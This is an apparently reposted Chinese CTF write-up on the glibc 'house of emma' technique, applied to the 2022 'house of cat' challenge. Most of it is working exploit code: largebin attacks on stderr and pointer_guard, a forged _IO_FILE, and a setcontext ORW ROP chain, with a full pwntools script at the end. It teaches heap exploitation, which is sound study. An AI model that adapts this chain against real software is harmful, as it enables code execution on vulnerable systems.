house of emma 心得体会
2023-3-29 21:39:0 Author: xz.aliyun.com(查看原文) 阅读量:14 收藏

适用范围:

  • glibc 2.23 -- 至今

利用条件:

  • 可以进行两次任意地址写堆地址(通常是largebin attack)

  • 可以触发 IO 流操作

攻击方法:

  • 劫持stderr指针为我们构造的fake_IO_FILE
  • __pointer_chk_guard 处写入已知内容,来绕过函数指针的调用对保护
  • 触发io流

攻击限制:

  • 若stderr 的指针存放于 bss 段上,无法被我们修改,那么只能通过exit来触发FSOP,但由于我们的构造可能会导致异或内容被篡改后,exit无法正常执行,使得程序无法执行到我们构造的 IO流
  • 需要攻击位于TLS结构体的_pointer_chk_guard,并且远程可能需要爆破TLS偏移

源码分析:

vtable​虚表中有_IO_cookie_jumps​结构体,在_IO_cookie_jumps​中包含着_IO_cookie_read​、_IO_cookie_write​等一系列函数

这些函数存在着任意函数指针的调用,但是这些函数指针的调用被pointer_guard​ 进行了加密

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }

  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;

  return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif

  return ((seek_cb == NULL
       || (seek_cb (cfile->__cookie, &offset, dir)
           == -1)
       || offset == (off64_t) -1)
      ? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif

  if (close_cb == NULL)
    return 0;

  return close_cb (cfile->__cookie);
}

例题2022挑战杯house of cat

保护全开,开了沙箱



程序分析:

限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节

存在UAF漏洞,限制泄露数据最大大小为0x30字节

题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of cat手法如何利用,前面需要逆向的部分不再赘述

例题解法:
  • 首先是泄露libc基址和heap地址

  • largebin attack攻击stderr指针和__pointer_chk_guard

  • 在 stderr 指针处写一个可控地址,在__pointer_chk_guard 处写一个已知地址

  • 再利用UAF通过unsorted bin 会与 top chunk 合并的机制来修改top_chunk大小触发IO调用

  • 进入 house of emma 的调用链,同时利用一个能够转移 rdi 到 rdx 的 gadget 为 setcontext 提供内容

  • 利用 setcontext+61 来执行 orw,从而获取flag

libc和heap地址的泄露
add(0,0x428,b'aaa')
add(1,0x428,b'./flag\x00')
delete(0)
add(15,0x448,b'./flag\x00')
add(14,0x448,b'./flag\x00')
show(0)
libc_base=l64()-0x21a0d0
li('libc_base = '+hex(libc_base))
heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))#-0x290
li('heap_addr = '+hex(heap_base))
fake_IO_FILE和orw的模板

fake_file:

gadget = libc_base + 0x00000000001675b0
fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)

orw:

chunk13=heap_base+0x10d0+0x460 #chunk orw

orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(chunk13+0xb0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
#close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
#open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
#read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
LargeBin Attack攻击stderr和pointer
stderr攻击:将stderr覆盖为chunk3(fake_file)的地址
add(2,0x428,b'bbb')
add(3,0x418,fake_file)
delete(2)

add(13,0x438,orw)
add(12,0x438,b'mmm')

delete(3)


290-chunk2

6c0-chunk1

af0-chunk15

f40-chunk14

390-chunk3

7b0-chunk13

bf0-chunk12

pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20)
edit(2,pl)



stderr已被覆盖为chunk3的地址



chunk3储存着我们伪造的fake_file

fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)

刚构造后的chunk3:



delete(3)并edit(2,pl)后的chunk3



0x3a0-0x3b0并不影响我们fake_file的布局

未修改chunk2后add(11,0x458,b'lll'):



pointer_guard攻击:pointer_guard覆盖为chunk12的地址
delete(15)
add(10,0x450,b'rrr')
delete(12)



li('pointer_guard = '+hex(pointer_guard))

pl=p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20)
edit(15, pl)
#main_arena+1120   main_arena+1120
#chunk15           pointer_guard-0x20



我们要修改这里,查看__pointer_chk_guard_local发现它,但是这里又是不可写的



查看fs_base,这里我们选择攻击的是fs+0x30偏移的这个值

将0xc87d070b4dced3ee覆盖掉





将覆盖pointer_guard为已知的堆地址



fs[0x30]以被我们修改,也可以看到__pointer_chk_guard_local没有改变

290-chunk2 - edit(stderr)

6c0-chunk1

af0-chunk15 - edit(pointer_guard)

f40-chunk14

390-chunk3 - stderr(fake_file)

7b0-chunk13 orw

bf0-chunk12 - pointer_guard

030-chunk11

修改topchunk大小

​​

​​

add(8,0x450,b'ggg') #d50

delete(9)
delete(10)
delete(8)



add(7,0x460,b'a'*0x458 + p64(0x471))
add(6,0x460,b'a'*0x458 + p64(0x451))







add(4, 0x460, p64(0) + p64(0x100))

可以看到top_chunk的size已被我们修改


sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(5))
sla('plz input your cat size:\n',str(0x460))

触发IO调用

__malloc_assert

fflush

_IO_cookie_write

getkeyserv_handle+576

orw

chunk13=heap_base+0x10d0+0x460
orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(heap_base + 0x10e0 + 0x460+0xa0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)



orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)

这里的close(0)解释一下,首先我们可以看到沙箱这里调用read的话会查看fd是否为0,非0则直接KILL



如果我们要将调用flag来读入到内存则一定要使fd为0,但0、1、2(标准输入、输出、错误)均被占用时,我们如果read flag,那么flag文件描述符则为3,程序会截止

而我们首先构造close(0),将标准输入关闭掉,再次read的时候flag文件描述符就将是0,则可以正常read

exp:
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'

s       = lambda data               :p.send(data)
sa      = lambda x, y               :p.sendafter(x, y)
sl      = lambda data               :p.sendline(data)
sla     = lambda x, y               :p.sendlineafter(x, y)
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()


def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size))
    sa('plz input your content:\n',cont)
def delete(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)

sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')

add(0,0x428,b'aaa')
add(1,0x428,b'./flag\x00')
delete(0)
add(15,0x448,b'./flag\x00')
add(14,0x448,b'./flag\x00')
show(0)
libc_base=l64()-0x21a0d0
li('libc_base = '+hex(libc_base))
heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))#-0x290
li('heap_addr = '+hex(heap_base))


pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x000000000011f497
pop_rax_ret = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6

Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
close = libc_base + libc.sym['close']
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0x00000000001d8698
syscall = Read + 0x10

#print('================================
flag_path = heap_base + 0x440
rtld_global = libc_base + 0x275040 #0x278040
stderr = libc_base + libc.sym['stderr']
setcontext = libc_base + libc.sym['setcontext']

#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libc_base + 0x00000000001675b0 
io_cookie_jumps_addr = libc_base + 0x215b80
pointer_guard = libc_base - 0x2890
_IO_stdfile_2_lock=libc_base+0x21ba60

#print('================================

fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)


chunk13=heap_base+0x10d0+0x460 #chunk orw
orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(chunk13+0xb0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
#close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
#open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
#read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
#write(1,flag_path,0x41)

#print('=================================================sdterr
add(2,0x428,b'bbb')
add(3,0x418,fake_file)

delete(2)

add(13,0x438,orw)
add(12,0x438,b'mmm')

delete(3)

pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20)
#main_arena+1120   main_arena+1120
#chunk2            stderr-0x20
edit(2,pl)
li('stderr = '+hex(stderr))
add(11,0x458,b'lll') #030

#print('=================================================pointer_guard

delete(15)
add(10,0x450,b'iii') #490
delete(12)
li('pointer_guard = '+hex(pointer_guard))
edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20))
#main_arena+1120   main_arena+1120
#chunk15           pointer_guard-0x20

add(9,0x450,b'hhh') #8f0
add(8,0x450,b'ggg') #d50

delete(9)
delete(10)
delete(8)
'''
add(7,0x460,b'fff')
add(6,0x460,b'eee')
'''

add(7,0x460,b'a'*0x458 + p64(0x471))
add(6,0x460,b'a'*0x458 + p64(0x451))

delete(6)

delete(9)

add(4, 0x460, p64(0) + p64(0x100))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:\n',str(5))
sla('plz input your cat size:\n',str(0x460))


itr()

参考:

第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全客 - 安全资讯平台 (anquanke.com)
强网杯2022&pwn&house_of_cat: https://www.bilibili.com/video/BV1XV4y1j7kf/


文章来源: https://xz.aliyun.com/t/12366
如有侵权请联系:admin#unsafe.sh